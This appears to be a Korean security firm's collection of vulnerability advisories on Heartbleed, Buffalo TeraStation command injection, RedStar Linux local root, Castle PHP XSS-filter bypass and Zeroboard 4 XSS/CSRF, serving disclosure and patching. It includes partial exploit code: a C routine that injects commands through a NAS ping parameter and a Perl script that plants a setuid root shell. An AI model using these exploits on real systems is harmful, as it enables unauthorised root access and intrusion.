I. 분석 개요

 

분석 대상

OpenSSL Library 1.0.0l

문서 작성일

2014.04.11

문서 버전

V0.3

 

OpenSSL프로젝트는 정해진 규격의 네트워크 보안 프로토콜을 범용 라이브러리로 구현하기 위한 목적을 가지고 오픈소스 프로젝트로 시작하였으며, 현재 세계 개발자들이 유지보수에 참여하고 있다.

OpenSSL라이브러리는 OpenSSL 프로젝트의 결과물로써, 데이터 통신 사용되는 네트워크 암호화 프로토콜인 TLS(Transport Layer Security) SSL(Secure Sockets Layer)기능을 구현한 라이브러리이다.

이러한 OpenSSL라이브러리는 네트워크 보안 프로토콜에 사용되는 소프트웨어나 네트워크 하드웨어 장비 등에 사용되고 있는데, 라이브러리와 관련하여 지난 2014 4 8 “HeartBleed”라는 이름의 보안 취약점이 공개 되었다.

“HeartBleed” 취약점은 OpenSSL 라이브러리를 사용하는 서버와 통신 조작된 TLS 패킷 전송 과정을 적절하게 검증하지 않음으로 발생한다. SSL 사용한 네트워크 통신 과정에는 서버와 클라이언트 연결을 안정적으로 지속시키기 위해 연결 지속 신호를 주고 받도록 되어 있는HeartBeat라는 과정이 존재한다. 취약한 버전의OpenSSL 라이브러리는HeartBeat 통신 과정을 수행할 특정 변수의 경계 값을 적절히 검증하지 않으며, 이로 인해 서버 메모리 데이터가 노출되는 취약점이 존재한다.

해당 취약점을 통해 개인 , 비밀 키와 서비스를 이용 중인 사용자 세션의 획득이 가능하고 서버와 클라이언트의 암호화 트래픽을 통해 정보를 획득할 있다.

 

-      OpenSSL TLS heartbeat관련 URL

https://www.openssl.org/news/secadv_20140407.txt

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

http://heartbleed.com/

https://bugzilla.redhat.com/show_bug.cgi?id=1084875

 

-      취약한 버전 정보

openssl:1.0.1f

openssl:1.0.1

openssl:1.0.1:beta1

openssl:1.0.1:beta2

openssl:1.0.1:beta3

openssl:1.0.1a

openssl:1.0.1b

openssl:1.0.1c

openssl:1.0.1d

openssl:1.0.1e

 

 

II. 대상 세부 분석

1.    Memory Read Overrun

“Heartbleed” 취약점은 OpenSSL라이브러리 TLS 패킷을 처리하는 과정 수행되는 tls1_process_heartbeat(), dtls1_process_heartbeat() 함수에서 payload 변수의 경계 값을 적절히 검증하지 않아 발생한다.

 

              

  

                                   [그림 1] d1_both.c 소스코드의 취약한 함수

 

 

 

 

 [그림 2] t1_lib.c 소스코드의 취약한 함수

 

 

TLS 패킷 처리 과정에서 payload값을 설정하여 서버에 요청 패킷을 보내면, 서버로 보내진 payload 값이 그대로 서버 응답 패킷에 포함되어 클라이언트로 전달된다.

공격자는 이러한 통신 과정 수행 payload 데이터는 명시하지 않고, 단순히payload 사이즈 값만을 조작한 패킷을 서버로 전송 있다. 서버는 payload사이즈 여부만 검증하여 payload 데이터 영역에 내부 특정 메모리 영역의 데이터를 복사하여 클라이언트로 응답 패킷을 보내게 되며, 공격자는 이에 따라 최대 64KB 임의의 데이터를 획득할 있다.

 

 

 

[그림 3] 조작된 TLS 패킷 전송

 

 

HeartBeat 허용 요청 패킷이 전송된 것을 모니터링 도구를 통해 확인 있다.

 

[그림 4] TLS 패킷 확인

 

 

클라이언트에서 HeartBeat 통신 과정 payload 사이즈 값을 조작하여 서버에 요청한다.

 

[그림 5] heartbeat 패킷 전송

 

 

취약점이 발생하는 부분을 OpenSSL 라이브러리의 소스코드를 참조하여 쉽게 알 수 있다.

 

[그림 6] tls1_process_heartbeat() 함수에 인자로 전달되는 SSL 구조체

 

 

 

[그림 7] SSL 구조체를 참조하는 과정과 취약점이 패치된 부분

 

해당 취약점을 근거로, 다음과 같은 테스트베드를 구축하여 취약점의 심각성을 재현하였다.

* 시나리오 : OpenSSL 구성된 Apache 서버의 사용자 권한 획득

* 서버 : Apache 2.2.15-29 + php 5.3.3 + openssl-1.0.1e-16

* 클라이언트 : Windows XP + Chrome 34.0.1847.116 m

 

사이트에 로그인 사용자의 화면이다. 

 

 

[그림 8] 로그인 된 사용자

 

 

로그인 사용자의 세션 정보이다.

 

[그림 9] 로그인 된 사용자 세션

 

조작된 heartbeat 패킷을 통해 서버의 특정 메모리 영역에 대한 데이터를 전달 받을 있다.

 

[그림 10] heartbeat 패킷 응답 값

 

 

다음과 같이 전달된 데이터를 통해 메모리에 저장된 로그인 사용자의 세션 정보 사용자 계정 정보를 확인할 있다.

[그림 11] 메모리에 저장된 사용자 세션 정보

 

 

 

2.    위험 분석

취약점에 노출 경우 악의적인 외부 사용자는 서비스 보안 장비, 또는 네트워크를 사용하는 사용자들에 대해 세션이나 개인키, 비밀 키에 대한 획득이 가능하다.

사용자 관리자의 세션이 탈취 경우, 홈페이지에 대한 위험이 발생할 있으며 나아가 서버 내부 네트워크 침투에 대한 위험을 초래할 있다.

 

취약점으로 인해 노출되는 위협에는 다음과 같은 사례들이 존재한다.

 

1. 포털 커뮤니티 사이트의 로그인 정보 유출

2. VPN 서버의 Private Key 유출

3. 네트워크 장비 보안 장비의 Private Key 로그인 정보 유출

4. 취약한 OpenSSL 라이브러리로 구성되어 통신하고 있는 애플리케이션의 로그인 정보 유출

 

 

  해당 취약점은 특정 OS 환경에 국한되는 취약점이 아닌 OpenSSL 라이브러리를 사용하고 있는 VPN 라우터와 같은 네트워크 장비나 하드웨어 보안장비에도 영향을 미칠 있음.

 

 

III. 대응 방안

1.    Memory Read Overrun

1.    OpenSSL 업데이트

OpenSSL 공식 홈페이지를 통해 패치 버전으로 업데이트 있도록 권고함.

 

2.    OpenSSL 컴파일

OpenSSL 업데이트 불가피할 경우, 소스코드를 "-D OPENSSL_NO_HEARTBEAT" 통해 컴파일 있도록 권고함.

 

 

 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

 

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료


N.Korea RedStar 2.0 Incorrect permission local root exploit


TeamCR@K


개요

북한에서 개량하여 배포한 일명 ‘붉은별 리눅스’는 현재 2.0 버전까지 배포되는 것으로 알려지고 있으며, P2P 공유 사이트 등으로 다운로드 받아 설치 해 볼 수 있다. 해당 리눅스 OS 는 CD를 배포할 때 설정상의 문제점이 존재하여 이를 이용해 일반 사용자가 관리자 권한을 획득할 수 있다.


상세설명

리눅스 시스템은 보통 glibc라는 라이브러리 환경에 종속되는데, glibc 라이브러리 내에는 공유라이브러리(shared library)로 대표되는 라이브러리들이 포함된다. 보통 프로그램 기동 시, 많이 사용되는 대표적인 함수들의 구현은 전부 본 glibc의 공유라이브러리에서 담당하게 된다. 

 



[그림 1] glibc 라이브러리에 포함되는 ‘C library functions’


(발췌: Advanced Programming in the Unix Environment)


위 그림에 표현되어 있는 ‘C library functions’가 바로 glibc 라이브러리의 역할을 나타내며 리눅스 시스템에서 kernel 다음으로 중요한 위치를 차지한다는 것을 알 수 있다. 이런 중요한 역할을 하는 glibc 라이브러리는 기본적으로 시스템 관리자(root)만 쓰고 지울 수 있는 권한을 갖게 되는데 ‘붉은별 리눅스’는 일반 사용자도 그 내용을 쓰고 지울 수 있게 되어 있어 이를 이용해 일반 사용자가 관리권한을 획득 할 수 있다.

본 라이브러리의 잘못된 설정권한을 이용해 일반 사용자가 관리자 권한을 획득 할 수 있는 시나리오로 다음과 같은 구상이 가능하다.


1. 악의적인 라이브러리 파일 생성

2. 해당 악의적인 라이브러리 파일의 내용과 실제 존재하는 라이브러리 파일의 내용을 치환

3. root권한의 suid bit가 설정되어 있으며, 악의적인 내용의 라이브러리 파일을 참조하는 프로그램을 실행

4. 관리자 권한 획득


다음은 위 시나리오를 자동화 한 프로그램 소스코드의 일부이다.


#!/usr/bin/perl

#

use Fcntl ":mode";

use IO::Handle;


my $banner = "RedStar 2.0 Linux (N.Korea) root exploit";

my $shellname = "/tmp/sh";

my @cfiles = ($target, $suidfile, "/usr/bin/bzip2");

my @perms = (S_IWOTH, S_ISUID, S_IXOTH);

my $bz2bin = 

"\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x91\x83\xB7\xAB\x00\x04".


-- > snip <--


my $success = 0;

for($i = 0; $i < 60; $i++) {

print ".";

flush STDOUT;

if(($ret = permcheck($shellname, S_ISUID)) == 0) {

print "\n[*] Exploit successfully!\n";

$success = 1;

sleep 1;

system($shellname);

last;

}

sleep 1;

}


if($success == 0) {

print "\n[!] Exploit failed.\n";

}


cleanup:

print "[*] Cleanup!\n";


unlink($backupfile);

unlink($evil_bin);


if($success == 1) {

print "[*] A ROOT SHELL IS '$shellname'. DELETE IT YOURSELF!\n";

}


exit(0);


다음은 위 소스코드를 이용해 일반 사용자가 관리 권한을 획득하는 화면이다.



[그림 2] exploit을 이용해 일반 사용자가 관리권한을 획득하는 화면


테스트에 사용된 OS의 버전은 2.0, ISO 이미지의 MD5 Checksum 값은 다음과 같다.

7ba35ae027787a9aa0013695a97c110c RS2.ISO

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : indra (indra@a3security.com)


Castle (PHP버전) 공격 탐지 우회 보안 권고안

 

                                                               By indra@a3security.com
(A.K.A 1ndr4)

I.   취약점 개요

취약점

Castle (PHP버전) XSS 공격 탐지 우회

A3S Advisory ID

A3AID09-01

위험 등급

최초 발표일

2009.2.6

문서 작성일

2009.2.2

벤더

KrCert

현재 상태(패치여부)

패치 완료


1. 
요 약

Castle
PHP 버전에서 XSS 공격 탐지를 우회할 있는 취약점이 발견되었다. Castle KrCert에서 공격 차단 로그 채취를 위해 배포하고 있는 솔루션이며, 해당 솔루션은 PHP, JSP, ASP 언어로 작성되어 여러 환경에서 사용할 있도록 배포 되고 있다. 업데이트 배포를 맡고 있는 대표 사이트는
KrCert - http://www.krcert.or.kr 이며, 사이트에서는 09 1 20자로 해당 솔루션을 보급하고 있다.

이번 발견된 탐지 우회 취약점은 사용자의 입력에 대해 pattern-matching 수행하여 공격 패턴을 찾아내는 루틴에서 특정 함수를 사용하는 것으로 비롯되었으며, 이를 이용해 악의적인 외부 사용자는 XSS 공격 탐지를 우회하고 실행 있는 취약점이다.

2대상 시스템

- Castle PHP Version


3
심각도 및 취약점 영향

취약점 영향

위험도

XSS 공격 탐지 우회


II
취약점 세부 분석

1.  취약점 내용

본 취약점은
사용자 입력 값을 검증하는 루틴에서 NUL 문자를 제대로 처리하지 못하는 루틴을 사용함으로 발생되는 취약점으로, PHP 함수의 적법하지 않은 사용에서 기인한다.
다음 그림은 castle_referee.php 파일의 코드 중 일 부분이다.


[그림 1] castle_referee.php 파일의 부분

그림은 castle_referee.php 파일의 부분으로 castle_referee_eregi() 함수 내용을 보여주고 있다. castle_referee_eregi() 함수는 castle 에서 정의하고 구현된 wrapper 함수이며, 해당 함수는 내부적으로 eregi() 함수를 사용하여 pattern-matching기법을 사용한 문자열 탐지를 수행한다.

먼저 magic_quotes_gpc 설정 정보를 받아 해당 옵션이 enable 되어 있으면 stripslashes() 함수를 사용하여 문자열 사이에 존재하는 슬래시(‘\’) 문자를 제거하게 된다. magic_quotes_gpc 옵션은 php 설치 기본적으로 enable 되도록 설정된 옵션이며, 이는 GET, POST, COOKIE 데이터에 특수문자가 존재하는 경우 자동으로 특수 문자 앞에 슬래시(‘\’) 문자를 추가하는 기능이다.

, eregi() 함수를 사용하여 문자열을 탐지하게 되는데 $regexp 변수와 $str 변수가 argument 사용된다. $regexp 변수는 정의된 검색 패턴의 정보가 들어가고, $str 변수에는 사용자 입력 값이 들어가게 된다. 해당eregi() 함수의 사용 루틴은 321 라인에서 327 라인까지 진행된다.

이러한 루틴에서 NUL 문자를 검출하기 위한 패턴은 eregi() 함수 사용과 맞물려 기능을 제대로 수행하지 못하게 되고, 악의적인 공격자가 패턴 탐지를 우회하여 XSS 공격을 시도할 있는 취약점을 노출 시킨다.

다음의 그림은 “<script>” 라는 문자열을 정상적으로 탐지하여 차단 메시지를 출력한 화면이다.


[그림 2] 정상적으로 공격 탐지를 화면

위 그림에서 사용된 소스코드는 다음과 같다.



단순히 GET 방식으로 전달 msg 라는 변수의 값을 출력해 주는 소스코드이며, 변수 값에 존재하는 “<script>” 라는 문자열을 제대로 탐지해 경우이다.

다음 그림은 발견된 우회방법 이용해 사용자 Cookie 출력하는 스크립트를 실행 화면이다.


[그림 3] 취약점에 의해 스크립트가 실행된 화면

2위험 분석

해당
취약점은 현재 공식 패치를 적용하지 않은  Castle PHP버전을 사용하고 있는 페이지들이 취약하며, 이를 이용한 탐지 우회 시도 피해가 예상된다
.

III. 대응 방안

1.   보안 대책

가.  공식 패치

취약점과 관련하여 현재 KrCERT 에서 패치가 되어 배포되고 있으며, 패치 버전은 1.0.1 버전이다
 
Castle 1.0.1 Version Download : http://www.krcert.or.kr 



Copyright(c) 1998-2009 A3 Security ,LTD 

현재 ㈜에이쓰리시큐리티에서 테스트 분석 중에 있으며, 문서는 계속 업데이트될 것입니다. 문서는 보안취약점으로 인한 피해를 최소화하는 도움이 되고자 작성되었으나, 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다
 

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)

A3시큐리티 TeamCR@K의 멤버 indra가 발견한 취약점이며 벤더사의 패치가 완료되었고, 해당 서비스(Zeroboard 4) 를 사용하고 있는 사용자들은 신속한 패치를 하시기 바랍니다.


Zeroboard 4 XSS/CSRF 취약점 보안 권고안

                                                               By indra@a3security.com


I. 취약점 개요


취약점

Zeroboard 4 XSS/CSRF 취약점

A3SC Advisory ID

A3AID09-03

위험 등급

최초 발표일

2009.02.13

문서 작성일

2008.12.12

벤더

NZEO

현재상태(패치여부)

패치


1. 요 약
Zeroboard 4 솔루션에서 XSS/CSRF 취약점이 발견되었다. 현재 솔루션의 업데이트 및 배포를 맡고 있는 NZEO(http://www.nzeo.com) 에서는 Zeroboard 4 솔루션에 대한 버그패치는 현재 이루어지지 않고 있으며, XE 버전에 주력하는 양상을 보이고 있다.
이번 발견된 XSS/CSRF 취약점은 사용자 입력 값에 대한 검증미흡을 통해 발전 되었으며, 이를 이용해 악의적인 외부 사용자는 관리자 권한을 획득하고 의도하지 않은 서버의 명령을 실행 할 수 있는 권한까지도 가능 한 취약점이다.


2. 대상 시스템
- 별도의 패치가 적용되지 않은 모든 Zeroboard 4 패키지


3. 심각도 및 취약점 영향

취약점 영향

위험도

관리자 권한 획득


 


II. 취약점 세부 분석

1. 취약점 내용
본 취약점은 write_ok.php 파일의 처리 프로세스 중 글을 수정하는 단계에서 사용자의 입력 값에 대해 검증절차가 마련되어 있지 않아 사용자 입력 값에 악의적인 내용의 스크립트를 작성하여 웹 페이지 사용자를 공격 할 수 있다.

다음 그림은 제로보드 소스코드 중 write_ok.php 파일의 일부분이다. 



[그림 1] write_ok.php 파일 내용

위 그림에 의하면 289번 라인 아래로는 “수정글”에 대한 처리 루틴인 것을 알 수 있으며, 변수의 조작만으로 SQL의 file_name1, file_name2 필드에 원하는 문자열을 값으로 처리하도록 변조 할 수 있는 가능성이 있다.

다음 그림은 제로보드 소스코드들 중 include/list_check.php 파일과 view.php 파일의 내용 일부를 캡쳐 한 화면이다.



[그림 2] include/list_check.php 와 view.php 파일의 일부 내용

위 그림에서 좌측 상단에 있는 파일이 include/list_check.php 파일이며 우측 상단과 하단의 내용이 view.php 파일의 내용이다. 먼저 include/list_check.php 파일은 view.php 파일에서 함수를 참조할 때에 함수의 구현부가 있는 파일이며, 우측 상단의 list_check() 함수가 실행될 때 참조 된다. 
s_file_name1, s_file_name2 필드에 있는 값 그대로를 참조하며 이러한 값은 결국 아래의 view.php 파일의 내용인 “첨부파일 링크 기능”에 사용된다.

다음 그림은 해당 취약점을 이용해 CSRF 공격을 시도한 화면이다.



[그림 3] CSRF 공격시도를 한 화면

위 그림에서 표면적으로 볼 때 파일 다운로드 부분에는 아무런 문제가 발생하지 않은 것 처럼 보이나, 실제 HTML 소스코드를 확인 할 경우 특정 태그를 사용하여 다른 페이지와의 연결을 시도하는 코드가 발견된다. 이는 제로보드 내 관리자 메뉴를 사용하여 특정 이름을 가진 사용자의 권한상승을 시도하는 코드로서 관리자 권한을 가진 사용자가 해당 게시물을 읽었을 경우 특정 사용자가 관리자 권한으로 변경되는 상황이 일어 날 수 있다.

다음 그림은 CSRF 공격시도가 성공하여 일반 사용자가 관리 권한을 얻어낸 후 관리자 메뉴에 접속 한 화면이다.


 

[그림 4] 취약점에 의해 일반 사용자가 관리 권한을 얻은 상황

2. 위험 분석
해당 취약점은 현재 패치 되지 않은 상태로 모든 Zeroboard 4 버전을 사용하고 있는 웹 페이지들이 취약하며, 또한 관리자 메뉴에는 서버의 명령을 실행 할 수 있게 하는 기능이 존재하여 이를 이용한 서버 침입 수준의 연계공격이 가능하므로 이를 이용한 공격 시도 및 피해가 예상된다.


III. 대응 방안


1. 보안 대책

가. 공식 패치
현재 Zeroboard 공식 패포처 인 NZEO에서 이에 대한 패치를 이미 내 놓았으며, 해당 패치는 다음의 URL에서 Download 받을 수 있다.
http://www.zeroboard.com/17757124#10

나. 개별 패치
Zeroboard 솔루션에는 HTML 태그에 사용되는 특수문자에 대해 타 문자로 치환하는 방식의 함수가 포함되어 있으며 해당 함수를 이용하여 패치 할 수 있다.
include/list_check.php 파일의 116, 117 번에서 $file_name1, $file_name2 변수에 값을 대입할 때, del_html() 함수를 사용한다.

수정 전: 

 116                            $file_name1=$data[s_file_name1];

117                            $file_name2=$data[s_file_name2];



수정 후:
 
116                            $file_name1=del_html($data[s_file_name1]);

117                            $file_name2=del_html($data[s_file_name2]);


2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

http://www.zeroboard.com/17757124#10


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


 

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)



Zeroboard 4 취약점 분석완료(2건) 하였으며 현재 해당 벤더사에게 보고 절차중입니다.

패치 되는대로 상세내역을 포스팅 하도록 하겠습니다.


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)

Castle (PHP버전) 취약점 분석완료 하였으며 현재 해당 벤더사에게 보고 절차중입니다.

패치 되는대로 상세내역을 포스팅 하도록 하겠습니다.


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)

WebKnight 우회기법 취약점 분석완료 하였으며 현재 해당 벤더사에게 보고 절차중입니다.

패치되는대로 상세내역 포스팅 하겠습니다.


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.